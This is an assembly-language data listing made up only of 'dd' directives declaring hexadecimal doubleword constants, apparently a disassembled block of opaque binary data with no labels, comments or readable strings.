dd 7400E2FBh, 0A1C985D6h, 1E1434h, 647B6316h, 0DCFCB904h
dd 8DDF6700h, 74663C79h, 92E201A6h, 421DA09h, 0D044D8DBh
dd 5B61E0Bh, 869C80D1h, 4341BEh, 0B577CE3h, 0BB9CD458h
dd 0E5318E07h, 36A09B29h, 228766h, 6CB8F3DBh, 0EEDF56F6h
dd 293A6EF0h, 2E788071h, 5F1CC36Ah, 950B3F17h, 0E62130Fh
dd 98493820h, 0C500E488h, 4D4061F0h, 7477BE6Ch, 8C05136Ah
dd 88003E86h, 64D0686Bh, 3558A039h, 0CD28610Fh, 7096C086h
dd 4BB9330Ch, 85C2009h, 8300CAC4h, 85AE3CD1h, 0F6E1C675h
dd 0FEFB0E2h, 3DDA9168h, 0A1260320h, 0F07D2C30h, 0A7062E01h
dd 540F817Eh, 37C9A8C3h, 0B4FC00F3h, 19C4466Ah, 4D04DD60h
dd 61484A1Dh, 85E3B080h, 0C8812EE8h, 9C7800BFh, 3BCA5E82h
dd 8E7D1D1Fh, 0B65C2240h, 1B9877Ah, 1774FE62h, 0F859D747h
dd 0F700923Eh, 87CB09Dh, 571E27h, 0D4197FB8h, 7D3E45BCh
dd 0B0B48850h, 7CC84807h, 0DB272B99h, 0C095D602h, 71B177h
dd 0E7A6E697h, 137673E8h, 3F9A0D00h, 67D2AEB9h, 0DF4316A1h
dd 0B2D0418Ch, 0E9991FA0h, 31B44069h, 0BD5DEDAAh, 0D3FF0084h
dd 11E2A282h, 7E6903Ah, 0D830A415h, 3EABE0B0h, 0E00C41Ah
dd 5CAA9CDDh, 999E3Ah, 3A62582h, 86F6EC7Ch, 0D7152A00h
dd 9C95165Bh, 3793008Dh, 3388059Fh, 0EA007FE7h, 4F3931B9h
dd 7202AC8h, 6A638066h, 3E5672BCh, 0A586B0E0h, 0B3FF9E00h
dd 0D936EC09h, 537640h, 84A82DFDh, 767A3B24h, 0E6D3C1Eh
dd 0E3A5A6C0h, 0FAD0CF9Ah, 61F4008Fh, 541AA997h, 0CE73F7FFh
dd 15F66B01h, 0BB4C9DDEh, 4E001C2Ch, 0FEAD7037h, 0BF0179FFh
dd 0D112CC2Eh, 13D481D3h, 901E009Eh, 0A4C55C4Bh, 0A008DBEh
dd 3668B9E8h, 1F6FDFCh, 50775511h, 70444E19h, 0BE007368h
dd 2AACC353h, 0A32B9528h, 1A819888h, 92D2CBh, 0BEF05610h
dd 0E700ED40h, 47FCDA9Bh, 14C0FA7Ch, 0FC8CFFE6h, 1546F28h
dd 34928D7Eh, 40E32CEAh, 94D2B2CCh, 6DA07412h, 8F001812h
dd 9935E7D9h, 767BB7h, 80BB433Ah, 0CD5CBEC0h, 7204F4B1h
dd 6C80F6F7h, 0B46B629h, 0A34EB328h, 5F86F300h, 77005AB9h
dd 9B951447h, 0BB70ADh, 7E877BACh, 23564A31h, 0F8171800h
dd 0A18D2519h, 16D10080h, 0FE615D0Ah, 0DC009D8Fh, 9411FD81h
dd 0F895924Ch, 756A00E8h, 5C8B41ADh, 63502AD4h, 0B000EF84h
dd 531852F5h, 0FAA78CBh, 669F30EBh, 84C67763h, 5CF054B0h
dd 8F81E600h, 37764301h, 8E1B00ACh, 0EB779D1Fh, 0C700C002h
dd 130C3BFAh, 7327DB1h, 0A4DDA850h, 136F37B5h, 30B0DB2Ch
dd 273CCEF0h, 33B20039h, 8AFB0DA2h, 1AFC1E48h, 15D06A7Eh
dd 0C4CBE6B5h, 0A488F480h, 0BE00C32Ah, 11617FCFh, 0BEC3E20h
dd 0E65D9721h, 5830770Ch, 0A4E05000h, 37243C1h, 6D2F17A7h
dd 8C3C00E7h, 7FB1333Eh
dd 9E569100h, 1682652Bh, 0DC114914h, 6707AB02h, 986040AEh
dd 0C12646B8h, 9848C6Bh, 1D009502h, 514C150Ch, 4E70CA12h
dd 3AA90E07h, 6FD962DEh, 0D70CE062h, 662900BAh, 3B890DBDh
dd 8B0159ABh, 0EADB6917h, 70D89645h, 33B9024Dh, 445CC0B2h
dd 8149460h, 775EB118h, 0A03A2FD0h, 0C79AEAh, 106CACABh
dd 67F86B09h, 8E69D725h, 48225A8h, 96CE64E0h, 40EA4484h
dd 0D9CD7C93h, 0E83600ABh, 4EE37AFCh, 2E09DA39h, 81011AA2h
dd 0C6300904h, 4880C961h, 0D38DF18Ah, 0A0BADDB4h, 10D94A0h
dd 881C5909h, 0AA4B0028h, 0F7026140h, 0D7A1D4h, 2FCCD3F6h
dd 8ABDF88Bh, 601E8505h, 2282EB83h, 0A046169h, 51F1760h
dd 7E6D556h, 9EEC0E29h, 24405229h, 7B00D10Eh, 0B8E040A3h
dd 2BC265h, 0C6E970A6h, 5F06A43Bh, 1EB53600h, 0D0308E5h
dd 6B4F0095h, 917292D9h, 0B6F6672Dh, 0F1905A50h, 8800C74Fh
dd 1A09F6BFh, 0DBF900D2h, 0BD71A7AAh, 9D3A6F9Eh, 1E9A01C7h
dd 0BE39198Ah, 0DCA0E8h, 88D0E982h, 6F6A7B0h, 0D6B840E3h
dd 6500E0F3h, 870976A3h, 0E2D9683h, 546B5723h, 7E15AC60h
dd 0A600143Dh, 0C627CC75h, 0FFBC9Fh, 55E4C7DEh, 0BE57EF3Bh
dd 79FD6A07h, 98EDA89Dh, 0A8F6D9D4h, 80083258h, 6B0ED705h
dd 0A0DAD595h, 78E40989h, 0F68D002Ch, 1CAB9177h, 0BB001EBFh
dd 795F6382h, 651A24h, 42FDCEBDh, 0F44DE884h, 68453B00h
dd 0CAB18DD5h, 0D10F1E09h, 1E60935Bh, 3321428Fh, 0D340EF4Fh
dd 6600C825h, 9B16A7E6h, 39CC6C50h, 31007793h, 0C5551D8Bh
dd 3200B0EAh, 91247DF7h, 502CECh, 9FFCB585h, 8D31DE25h
dd 0ACFE6490h, 7D63E400h, 0B3BE1656h, 12A21C3Ah, 64A08097h
dd 3C8E0DFAh, 6AD3A71Ch, 352400E5h, 0F500A5Bh, 0E1309312h
dd 0BC57C2E0h, 9E247EF2h, 2228CC70h, 1819CC25h, 3351428h
dd 0BCBEE2F8h, 2802826Dh, 127DE34Eh, 50F8E077h, 0F2970059h
dd 19462481h, 341D6B4Ch, 5F43FB10h, 0F0D0E58Dh, 0CCA3DCh
dd 11B897B6h, 52715E6Ch, 3F228C00h, 0DFB08A8h, 923000C0h
dd 4691AADh, 4812FF60h, 34009FCFh, 307140F5h, 0EE6E7689h
dd 24E9F6A7h, 104C5573h, 466CC760h, 0D31CD2D0h, 5956743Fh
dd 481E900Bh, 53D58C24h, 8D00BFB8h, 58A24A17h, 72BEC851h
dd 0FBE600E7h, 1F9A4520h, 0AF0014A8h, 1B385DBFh, 13071795h
dd 40D165B6h, 4A0C8D10h, 7B1E5FD8h, 0A193F4C9h, 7337D420h
dd 652C3AB7h, 0EE37C02h, 74604F3Bh, 0B200587Ah, 0E2920761h
dd 1ED5F4DBh, 0C034F5C2h, 55E2722h, 57071D68h, 8CA63569h
dd 9E0BE560h, 0F1009F43h, 3D17C44Dh, 0A5F3D800h, 6ED5B874h
dd 1AF01CB9h, 0DD8C4075h, 0DF39D9DBh, 0A9C55D00h, 8E50315Eh
dd 3CD7DD5h, 0BEC18F78h, 24D820ECh, 660EE1AFh, 60575996h
dd 0C148B28Bh, 222F0161h, 4CDA3C73h, 0A2D5FC8Eh, 67032CB2h
dd 8FCD1D82h, 21F3C8DEh, 17B73D76h, 84000F2Ch, 8068FC14h
dd 3CF4EC89h, 87E3CE3Ah, 9656A624h, 7D73F921h, 9819A60h
dd 5D8E84B3h, 0DD8B081h, 0C0C46D54h, 473D8C5Ah, 0ED011E65h
dd 88B19683h, 3740CB7Ch, 0D35304A6h, 0FC865Ah, 9485BDEFh
dd 472A4050h, 359C520h, 7C0BB3EAh, 1F826FD1h, 0C5549C68h
dd 0AABF7100h, 45D5F2D3h, 0C4B61Eh, 3EC2DD80h, 10907817h
dd 5300C4B4h, 0D219F6BCh, 0A79107B2h, 901D0773h, 0FF36E384h
dd 79EAC490h, 8040FA39h, 5B96B92Bh, 328210h, 8DE7A99h
dd 5DC14306h, 26BD3500h, 22A77339h, 314A70h, 9F7D3058h
dd 8F072A1Ah, 0B1093819h, 0EA0C8AE0h, 0DF5C006Bh, 45A12890h
dd 9C707D7Fh, 2214C500h, 8C6C7235h, 803612F7h, 9998009Fh
dd 0B4A9CB61h, 0C67A5300h, 6794FEF0h, 3DED0006h, 558B3C50h
dd 0E603267Eh, 1F5CB1C3h, 475886Eh, 0AEF70093h, 0C0E5421Bh
dd 3B00CD65h, 686F79F3h, 0E8682h, 2D84D1Fh, 47B19AAh, 0DFF42D00h
dd 0A630C960h, 72123A0Eh, 8AE11681h, 601DA477h, 0C401399Ah
dd 0A6C034CFh, 7AD8D4F9h, 3C820EF0h, 0F38EB3E6h, 77B0AFC0h
dd 50001641h, 7838CE21h, 0FA3FF090h, 518E00A1h, 6E596F43h
dd 0FB1DAB9Ch, 743B3536h, 0AE00337Ch, 0B2822DEFh, 1FBB5283h
dd 806792C8h, 0E279CDE1h, 2E075839h, 141CD3A5h, 0C433E05Fh
dd 31E819h, 0AF76D846h, 7FE6201Eh, 10579500h, 0ECFA91CBh
dd 0CDC1075Ah, 3851C3h, 84C72EABh, 0D760700h, 0D619C070h
dd 0F48A0004h, 0A7F10F9Dh, 0FC00E6DBh, 576743Bh, 0C2F2E40h
dd 0E84BF548h, 4403FB18h, 7EE9AF17h, 0C0DE986Ah, 2F020BE4h
dd 0CB018A53h, 0C087AC7Bh, 1714A727h, 0F0E949h, 0B694FD2Ah
dd 0ECE061h, 2E9FBA0Eh, 635DCF4Bh, 0F12930C0h, 48EF92C3h
dd 0B8008E3Eh, 75225477h, 1101AFCAh, 5BED0C40h, 0B9C41902h
dd 1120962h, 2021E809h, 0E8841A68h, 0C07D350h, 0AA43D72h
dd 0E37569B3h, 188149Fh, 5C001860h, 62BB65E3h, 8D746403h
dd 0B101113Dh, 196A21DDh, 0A2071C40h, 0AAA393Dh, 0D9A60074h
dd 23AF4BC6h, 0D007B73h, 3B219C62h, 3C4FE104h, 588031E6h
dd 15F39D3h, 1B005530h, 0D485DB0Dh, 104AE9Dh, 64BFE86Ah
dd 0D0336873h, 0A7008693h, 407F59D9h, 17DAB3Eh, 2E95AA3Bh
dd 0F4413D49h, 0D407A834h, 0A3A0AE33h, 5204ABA0h, 54B500DDh
dd 0A2BC9773h, 3260AA1Ch, 0C28DE9C0h, 274A092h, 11983BE2h
dd 97505280h, 0EBF22053h, 0A0028E2h, 67D6D141h, 0A44227h
dd 73E89DEFh, 0E9B53F9Fh, 831C7578h, 4AC01BC9h, 591F385h
dd 0EFAB30D6h, 14DCD516h, 0AE01230Ch, 0E4FE50h, 94A67175h
dd 975B3D33h, 8E210503h, 887D5CA8h, 7C529FE0h, 0C14A03E4h
dd 1B59BE7Eh, 0AC384BF8h, 82702100h, 0D7D0506Ah, 0EB3D0FC9h
dd 42005EAFh, 9077EA30h, 0CAE34401h, 6C7BF092h, 0A5B220h
dd 1A3BB59h, 8CE2F73Bh, 804CE900h, 0BF7D4726h, 0A1E00406h
dd 0C0427B2Fh, 91590F20h, 0A36A1402h, 6010C9BCh, 506902FEh
dd 0A21A082h, 37776531h, 43694A8h, 1DACAAh, 9973BC43h
dd 9149E210h, 7DF42A00h, 787068D7h, 7F6F3FAEh, 0BF269B8Bh
dd 896D0507h, 0F46E5A00h, 157CC273h, 619B7500h, 149C81E3h
dd 0C78A007Eh, 9282EA11h, 96E8E222h, 8D9E2F00h, 97F4169Fh
dd 0BC4E3EA3h, 0BA819900h, 0BF23C184h, 13948B1Eh, 4FC378C2h
dd 185C9CB0h, 107DDB02h, 8D01BF9Eh, 3FA909B3h, 0F7FC4C42h
dd 0FCF9480Ch, 6A200209h, 0A09E1481h, 0B299087h, 48AC5E84h
dd 22C54474h, 0AD6F1027h, 0A3085889h, 44F3B144h, 0A5443741h
dd 0C922846Ch, 11CF42E8h, 0B0216D26h, 88BE8008h, 0F8883F9Bh
dd 6BC48892h, 90B31388h, 902C84F7h, 8742A848h, 218324B2h
dd 0FC1269C2h, 88EBD610h, 0D883EDFh, 4858B98h, 48F51350h
dd 0D8DC81ABh, 0FDD71289h, 0E214CC7Ah, 4A983B00h, 9558FA20h
dd 0B0BE61D4h, 0D4F3F47Dh, 0B0008E74h, 8C7FB752h, 3BEB56h
dd 0A32E814Dh, 0E52FEED7h, 2401EC00h, 4C529850h, 0A30B5CA7h
dd 54B44300h, 26CD7CD5h, 3C563Ah, 0F9AFD23Eh, 0A1109Fh
dd 6F58DC0Dh, 364E0681h, 0D27EAE1Fh, 1ECC2131h, 0B6CBDCh
dd 83EF76D5h, 25E8C61Fh, 7BE40500h, 63A3A1FAh, 3E9104D0h
dd 8081F6A7h, 4C867730h, 0F22E9E03h, 98346BBBh, 30EBA8BEh
dd 5CFC33C5h, 81009471h, 5AFA071Dh, 0E92E16h, 8DE31C25h
dd 0B7F2DCBCh, 88D1CC33h, 7B4FE063h, 0C3F2E4h, 0C6BB37B3h
dd 0AC1DCAD7h
dd 0A341AA04h, 7490FE56h, 1255E2h, 7910B8FCh, 0ECCA439Ch
dd 6F267700h, 73FDD91Eh, 55A8009Ah, 0DB4FC5F4h, 0EAB8DE05h
dd 69D30600h, 2C016028h, 0E1791245h, 0E7C700EEh, 4AA962FEh
dd 0C37E8E00h, 7940393Ah, 6DB101F1h, 8FBCB4ACh, 0CC25E8F5h
dd 66FA8D00h, 0DCB7E203h, 65E0ECDh, 0D480B53Eh, 5B1765A7h
dd 0C2163700h, 19EB5570h, 3C1A28D1h, 0F0490094h, 2699D938h
dd 60383DFh, 544F0A27h, 11110718h, 0F9DA24h, 69D1E99Ah
dd 0DD742200h, 44780799h, 0B98A0018h, 4A8D0A2Bh, 0C41F60D5h
dd 93C04FD2h, 0F21969EBh, 0E6AD0064h, 30735AA8h, 1D001F6Eh
dd 1B7BA6ECh, 2CC46A39h, 57C528Eh, 0C0D13C74h, 40C388EAh
dd 83C7EC00h, 42072DE0h, 3B6D00BFh, 0A5487B06h, 0A8006A1Fh
dd 0F529D651h, 1FE5C48Fh, 8083C5D9h, 3E4B0519h, 0EC480746h
dd 0F8FC0058h, 577A21E1h, 0AFC503D7h, 0E4749FEFh, 30319900h
dd 64115071h, 0EAEC003Dh, 0DABA2325h, 11C0CD09h, 0D6FF6AD0h
dd 381900E4h, 62821694h, 530070F7h, 1754FAFEh, 49CA150h
dd 0C755071Ah, 2188C79Eh, 83374C5Dh, 0BDB23266h, 2835900Bh
dd 1D202EEAh, 0EB003EF9h, 4C121733h, 0A5783938h, 0F0309B03h
dd 0E3995EACh, 0EF57A0B2h, 55B400AEh, 0AF7B78Ch, 0C60028E3h
dd 94172EA8h, 817DFAh, 952B7C91h, 13B79BFFh, 3C3BCD00h
dd 0F30682D6h, 4534126Ch, 73000049h, 35CB6D46h, 0B6A5DA03h
dd 0C812C7DBh, 7DFA75F6h, 5E7457h, 0E7F9463Fh, 11EE68EDh
dd 8C288200h, 0B579BDE5h, 6A20014h, 1F4CFAE2h, 0D80E65B7h
dd 0FB92A33h, 0D3972085h, 86B4F3h, 1BE5467Eh, 0EF8B1E38h
dd 0F948E090h, 3F4E002Ah, 74862E9Ch, 0C7EE005Ch, 7AD1CB3h
dd 6C00DAF3h, 0A477E14Dh, 1DE73BACh, 0C07BEC69h, 0B1C7D929h
dd 479062E6h, 0E28AAE00h, 9F36793Dh, 0CC5F1E2Fh, 7584409Ah
dd 0A843A3DDh, 9552A00h, 0F271BB9Dh, 25F8009Fh, 903A7D98h
dd 633AB4AAh, 78218A2Ah, 7209C467h, 0B22381C2h, 0BEA8046Fh
dd 9EF704D8h, 0C3CD05A6h, 10B8D8C3h, 8F000A21h, 9AD2675Ch
dd 2BB36ACh, 446A5EDh, 0C761F556h, 4BC94122h, 31403091h
dd 0C4378100h, 1F517FB3h, 5FE00169h, 0F42FF9Ch, 0ED943032h
dd 65B64E00h, 94D570ABh, 0A349034Bh, 2EB015E7h, 0D6A507E0h
dd 40043492h, 0B691BD76h, 0E3C364C0h, 233B0FBAh, 0D3C00680h
dd 651A4285h, 5720B560h, 2CFC8FAh, 6B3E2D4Dh, 4841D266h
dd 991420C0h, 8E62FD1Ch, 3540EB1Dh, 5CC3F55h, 6CF600D1h
dd 60F0ABD3h, 0D7072BE3h, 54A75796h, 5EA67570h, 832207E1h
dd 200E9E08h, 8791C0EFh, 2700C674h, 1A788CC7h, 143E2DBh
dd 88684C3Ah, 303E94AFh, 0D90001A8h, 0C4475661h, 7C8E26h
dd 0BBCFE684h, 0FB0FA544h, 55630200h, 0A4BC7FE9h, 603F0043h
dd 21FC83E4h, 8900CFD1h, 700F1AFEh, 24E9D2A6h, 0B087875h
dd 77005727h, 34F925BFh, 85934B07h, 0F2B06D1Bh, 0DA6510h
dd 0AFAE76B0h, 9425E437h, 3D0C6800h, 8D9918D1h, 98290093h
dd 7509360Bh, 0C8094CB0h, 757D0C11h, 1AB87700h, 0EB4D7B5Ah
dd 4D10218h, 801794CCh, 0DE229EB8h, 86FC0F4Bh, 0CD813FECh
dd 0EC20A8F9h, 2F1E2670h, 0C9C3FDACh, 398F4B3h, 341789EAh
dd 40D10A75h, 58FF201Dh, 0DD6C100h, 5709EC77h, 728C0B33h
dd 81009B2Fh, 4CEADE52h, 42000890h, 9C45DCCh, 58A702h
dd 11DD79C5h, 41C8F86h, 0D4C14905h, 84142BCEh, 67E100D8h
dd 0AA21C07Eh, 688300E3h, 0AF46A4E8h, 2B008499h, 0CB5A4CA3h
dd 5DCA51h, 3EE94DC7h, 3AAADF81h, 2C627897h, 0CC779Dh
dd 38D0320Dh, 0C807F6C9h, 5EB4B374h, 9D717330h, 353E00FAh
dd 0EBE13689h, 6018C11h, 0B7CADC6Ah, 7048C92Ch, 0BA4A60AFh
dd 75C04D95h, 0B7BF9A0Ch, 12E6849h, 0A12D7E19h, 40E33E8Dh
dd 1ECF24BCh, 0E58016ECh, 66E0275h, 0FA6BD72Fh, 0FCF46BC0h
dd 0D2A87100h, 3DB3324Ch, 84C124C4h, 1E803BE2h, 0DB665C83h
dd 740064B8h, 0FBD71F34h, 1EEF5295h, 7DE9AB0h, 0D0408222h
dd 79513DCBh, 97027E00h, 90D0B962h, 64C17A1h, 0DE3D001Eh
dd 5AB66586h, 9F004774h, 75A4E145h, 0BC709D3h, 0C0D4E670h
dd 0F9A9E80h, 2900E88Bh, 5AF1C369h, 0D18899h, 9312ADC7h
dd 85923266h, 49C9702h, 0C04D223Ah, 3D5889Ch, 12CB16B5h
dd 0C385D37Eh, 209F94C0h, 608154FFh, 0F717BB07h, 1F31F089h
dd 0C848B280h, 4927D70h, 3295493Fh, 23CE81AFh, 289C60E0h
dd 0D19C5C05h, 44C0C767h, 0E43E41Fh, 74FB2680h, 0A92291E0h
dd 0AF1FD42Ah, 6B00EDB4h, 7C0A351Ah, 0D3FF30BAh, 0F21EB218h
dd 3B4B8402h, 50F508A6h, 0A2030314h, 9F6E4927h, 4E8A3E80h
dd 3830D0C0h, 24708FADh, 167976Ch, 290C57ABh, 68E680EBh
dd 9C90D237h, 5E2B00A1h, 1DE5DD44h, 0AB5C1BB1h, 54610003h
dd 47193D91h, 0B4B3032h, 0F5F410D1h, 705A9C01h, 0CAA0F9B8h
dd 0D47830h, 0C135A298h, 49A76279h, 0BF3A9700h, 63A14121h
dd 0A8770C8Dh, 0C0A0581Bh, 0DE3DA700h, 9CE6DB03h, 5DE4FB79h
dd 0EC00B08Eh, 22A600F8h, 0B84C2FDFh, 75E617CEh, 488FA894h
dd 2A7A08Ah, 185468CCh, 0A15DDB82h, 442E4560h, 6A805436h
dd 99640943h, 816D077Eh, 20305A17h, 11D08EFCh, 0D5188700h
dd 93379E65h, 6CB01F13h, 8333402Eh, 0F12F3D7Fh, 71E74B04h
dd 98A0E829h, 1EDA0008h, 0BEB4AC74h, 0F0052B8h, 0F4B298C0h
dd 12F017h, 82EBA494h, 0DFE90BB3h, 28420226h, 64002B17h
dd 0F7516B6Eh, 0F99E1D07h, 75288078h, 8E810C3Bh, 0AA32C007h
dd 0F9B70Bh, 44A53CBCh, 0C3E200D3h, 0A109C87h, 7E58FCA7h
dd 7906007Fh, 5EF9339Dh, 0CD79C1h, 0AE1F0110h, 37664EC7h
dd 0FC915B02h, 0C076B514h, 25F1C1Bh, 0BA1F13A2h, 0E0C05E0Bh
dd 222A437Bh, 3601B07Ah, 14C1D3C7h, 61FC60EAh, 42B1E18h
dd 585F0081h, 4BDB5933h, 0C10DF600h, 36A2A9A3h, 2C58C01Dh
dd 0FB28BFC2h, 3FCF4300h, 31CE4DF9h, 20DC5C10h, 9907820Fh
dd 4A7BE560h, 0B300362Ch, 4204F46Ch, 2C7EACEEh, 3F64358Ch
dd 280731A5h, 5BCA608Dh, 7099088h, 80E579FCh, 0DE1C684Ch
dd 0F3E7BF8h, 0D545FBFAh, 0CC8F40ABh, 0E79166E0h, 5AEAB9C5h
dd 13EA0C01h, 0A732DD30h, 4CE060h, 85E67935h, 0F3088764h
dd 2FBB3700h, 0FC7E1FF6h, 761703EDh, 0AE7B318Ch, 620D85A0h
dd 0C7AB0A0Eh, 25E7E05Ch, 3695141h, 8DFBAF0Eh, 98001ED7h
dd 0FE6580D0h, 1E0F2075h, 5DA0E2E7h, 80681EA9h, 1A13B133h
dd 0A00E52Fh, 45F2909Ah, 0ADED65h, 42EF68EBh, 18012B69h
dd 356FB900h, 0BD5C40DCh, 511B00DDh, 2F02BE4Ah, 670044FDh
dd 7BA427B1h, 0FE14BF7Dh, 0D0AE007Fh, 0F020BE18h, 6D303692h
dd 0C36F58D1h, 8326003Dh, 58A30B9Eh, 0E01CB3Fh, 38951AD8h
dd 8FC85AF5h, 0EB8400FFh, 0E482873Eh, 2A00662Dh, 6364F2DCh
dd 24E203C2h, 784AB6h, 0FE8E211Dh, 0F90005A0h, 7EC76065h
dd 0F4A972h, 3D2CBE5Ch, 307BCC25h, 80D2D73Eh, 8B5ACF47h
dd 3D770597h, 0DB025013h, 0FF4B41Bh, 0E75704E0h, 2ABBFE02h
dd 0EBDC67FAh, 7A21F1CCh, 4CCC24h, 92E57D37h, 0BF0E95B9h
dd 263C5500h, 8E6913C3h, 92C5485Fh, 5B369F00h, 16DEACA9h
dd 0FF96E80Fh, 0D58BC294h, 0E3FC43A3h, 1555F062h, 57391C38h
dd 7C9B04C2h, 52D0802Ch, 94028134h, 0CF7B2920h, 582CD86Dh
dd 8E809CD3h, 8DCCDCA6h
dd 5261D80Bh, 5A6420CAh, 0E6657DF2h, 7C1E07F8h, 2009B5B0h
dd 0BB18A329h, 8A57E518h, 504680D8h, 1F7A89Bh, 94302292h
dd 3987F53Ah, 5F8F10C8h, 0B0998203h, 11005C9Bh, 7A13F9F3h
dd 21EBF8h, 0F1B21674h, 57120D11h, 4C3E9400h, 0A63A986Ah
dd 7E0B1C50h, 91FCC06Eh, 2F97EDB9h, 20BD7226h, 22CC6400h
dd 0FEE542BFh, 60F4313Eh, 3C18E9E8h, 0C4FB840Ch, 0CFFE9080h
dd 0E8B027h, 0F84FB39Fh, 953525E8h, 70EE361Dh, 86667FC0h
dd 31DC08h, 0CB84E244h, 0D1F7DAB9h, 50367700h, 1E8040CFh
dd 814D0C3Ah, 0FAAAEC64h, 0B4E97B0Fh, 0D895E056h, 27A34130h
dd 14802113h, 62733167h, 9EECA603h, 0CA8E7E59h, 379C87EFh
dd 9DF43460h, 0AC733BFDh, 902DE800h, 7710FC12h, 55118100h
dd 1C798523h, 1CD97517h, 0CE59B96Ah, 7B68016h, 0A0387C9Ch
dd 0F9A3FBEFh, 23F65A02h, 407F9B7Ah, 1873A010h, 91DCEAD0h
dd 3D499AB3h, 5DEE0050h, 310985Ah, 757B022Bh, 0C6F556B5h
dd 8215F0E0h, 9100B979h, 24B6ADE3h, 4A688Eh, 3B631D13h
dd 6AC62506h, 8031BD3Ch, 0B79970D9h, 2F7946Bh, 5B22B917h
dd 2FC08B49h, 9779CB3Bh, 69016090h, 0D93CA521h, 8440BF9Dh
dd 0D76577h, 0C154E4E9h, 0F1A4F4E5h, 84357407h, 37A07E18h
dd 0A08B19D5h, 986B5F0h, 1F83F07Ah, 2E8A9CE3h, 0BC8FBE40h
dd 0AA1BBF0Eh, 332BA014h, 32C7C3h, 0D5CE353Dh, 5D390120h
dd 54542D3Ah, 5A3E5588h, 0D64E8212h, 7EE3D203h, 66D00D8h
dd 0BC2146E5h, 750C9826h, 20D30E0Ch, 1B2EC14h, 678804B9h
dd 0CCDEDF3Bh, 8EFC5710h, 837E280Fh, 5D5AA038h, 7FA1562Fh
dd 18EC004Dh, 704F8F0Ah, 9F1C3428h, 3F8E29B1h, 0B3AA0A1h
dd 0E22C09h, 2F6DD8FCh, 0CB1A6249h, 5E00877Fh, 0AB84C094h
dd 8BA00Bh, 2E69A4A1h, 0C4590C64h, 0F11BD300h, 0E9E7A985h
dd 4A0803E3h, 3AF9B79Ch, 0D21D8800h, 8A59C389h, 3F730214h
dd 5E8F488Dh, 47C050A3h, 9A2CE100h, 0DFBD4C74h, 8D1C07CAh
dd 704469D2h, 7EC4BB1Bh, 0A3137D00h, 3511D9C5h, 4C4FEEC0h
dd 2765C5Ch, 0DB91EA18h, 1840C531h, 0ACA8EF8Ah, 0F0E3D6F5h
dd 0D1001AECh, 3AC35A73h, 1CCC589h, 0DF83F319h, 0E0E48A06h
dd 0E9293E64h, 6B034C05h, 0D08A22DFh, 93760B2h, 9C556D13h
dd 0BEAF7F80h, 8800C14Bh, 3E84E935h, 0EBEAF9h, 27B7A369h
dd 14F5FDF4h, 181B8A00h, 0D4E21D09h, 9954004Ah, 8E1ACAABh
dd 0CF07AE86h, 0F3E815D1h, 85AD4400h, 0A8B600CBh, 1C919F43h
dd 363DAA7Fh, 0CD130025h, 0E6A52D7Dh, 0CC58C016h, 285C7765h
dd 76D54000h, 0D9D8930Ch, 32B0044h, 2797BBCh, 3D00118Eh
dd 3C26AC29h, 5F6B3h, 72012FD2h, 8BB214B8h, 0BF51E202h
dd 61C0CEACh, 0A4D03C93h, 1AA70139h, 3FBC64A6h, 0D909D855h
dd 44F4C00h, 0C2B4FEE8h, 8ED700C9h, 63ACB312h, 0BB00A7B9h
dd 566D4313h, 0A5EF2Ch, 95BF1148h, 0CDC9D259h, 0DBA9E00h
dd 23B399C3h, 1D88EA27h, 0C3F05C3Dh, 30FDAA52h, 30073999h
dd 12008ADBh, 0B0D79C2Bh, 7514B35h, 2AEC4206h, 90D6D4C6h
dd 54A5D544h, 0F1F5Ch, 0B8FC246Dh, 8BBEF8h, 0AC824610h
dd 743806EAh, 329AD301h, 7D8913DEh, 478720h, 228AA671h
dd 58BDF43Bh, 0D0EB6872h, 0D8009E74h, 53B14324h, 0C79CBEh
dd 0B7ECF3B0h, 29F55D37h, 0E864CF30h, 0CC9F87h, 16753BEEh
dd 0DD22E1DCh, 0C1CE38h, 2D312A60h, 0D9A727h, 0B711BEF2h
dd 251DB59Bh, 0B1623A00h, 0BFE41078h, 0F12F02E5h, 3F4DFE1Ch
dd 0ACA52F60h, 0E8A14100h, 800393A7h, 9F300DBh, 8C060A65h
dd 0AA009660h, 0F4151BC1h, 1E5EBB1h, 6A3650E3h, 0D6679399h
dd 0AF85EC40h, 60965400h, 0D2CDD33Ch, 2F3D04D1h, 0C2599D52h
dd 0CF812618h, 0C496AB92h, 15015744h, 0A8C1B025h, 0A0242F93h
dd 0B260001Eh, 44D791F9h, 994DA056h, 8675811Ch, 0E420C511h
dd 0D8FE380Fh, 4095EA92h, 2B598EA0h, 0C7241F6Fh, 0C10098EBh
dd 8ADB01FAh, 9F810009h, 25CD4865h, 3618DD11h, 6770C2F2h
dd 2E770179h, 0DEDBC1B7h, 9002E781h, 824D6104h, 0C1D44345h
dd 0C425E001h, 0B6C4DECDh, 6F11C022h, 0BA7A30DDh, 3109F4Dh
dd 912DB8B9h, 0B220FF1Ah, 0A5477786h, 0BEAC8024h, 3584BD4Fh
dd 0D704C228h, 5577D0C3h, 0B634E886h, 0B505300Eh, 0FDFA1BE9h
dd 0F2CFF800h, 91BBA16Eh, 5E22009Bh, 0B295286Fh, 0F4006CB5h
dd 0BF1F75E9h, 0C2D2AE6h, 7ED166F1h, 0A8003A78h, 4D635EDDh
dd 5C0F47A1h, 0EA7F8249h, 0AEF5002Dh, 9C97BB0h, 0DD006272h
dd 54567892h, 6BA68FFh, 3BF067F1h, 27079E7Ch, 88EE07B0h
dd 0BDC0E12Fh, 0A0406596h, 0A8DBFD3Bh, 1A12288h, 0B1176DF2h
dd 0D812DC5Bh, 4000474Ch, 44252860h, 0F8202A41h, 752F00ACh
dd 63306A5Bh, 0E87CC189h, 0D44FF400h, 62848CEFh, 1675D5h
dd 0E5FC9A3Bh, 9D6DC680h, 47CD7F1Eh, 0C3B95181h, 498087DDh
dd 0B44E0B88h, 4000CAFAh, 95648A5Eh, 914754h, 8C71E080h
dd 0CFDAE67Ch, 2CE42407h, 5E111CBBh, 4C2068C1h, 8B1803B6h
dd 0C8D37A8Eh, 0E92E790h, 0DCA41328h, 0B634700h, 0C0028B01h
dd 7AE10349h, 38208C40h, 0F860C9C8h, 9409C207h, 0CE527DBFh
dd 1148E059h, 0F78800AAh, 0F351BE0Ch, 0B67AE8B0h, 4D993500h
dd 0C1D37574h, 0A3EC00E3h, 0A0F16A61h, 42002E92h, 5A0B6B99h
dd 1E945B1h, 0DD30566Ch, 3029EFBFh, 0CF3E35C4h, 0E01400AAh
dd 547E65FAh, 0E407177h, 0BD3A5CC9h, 56F07460h, 0B70BAD76h
dd 3BF6B80h, 997BE4B0h, 31E08AFCh, 0FAF2B1h, 3B280EE6h
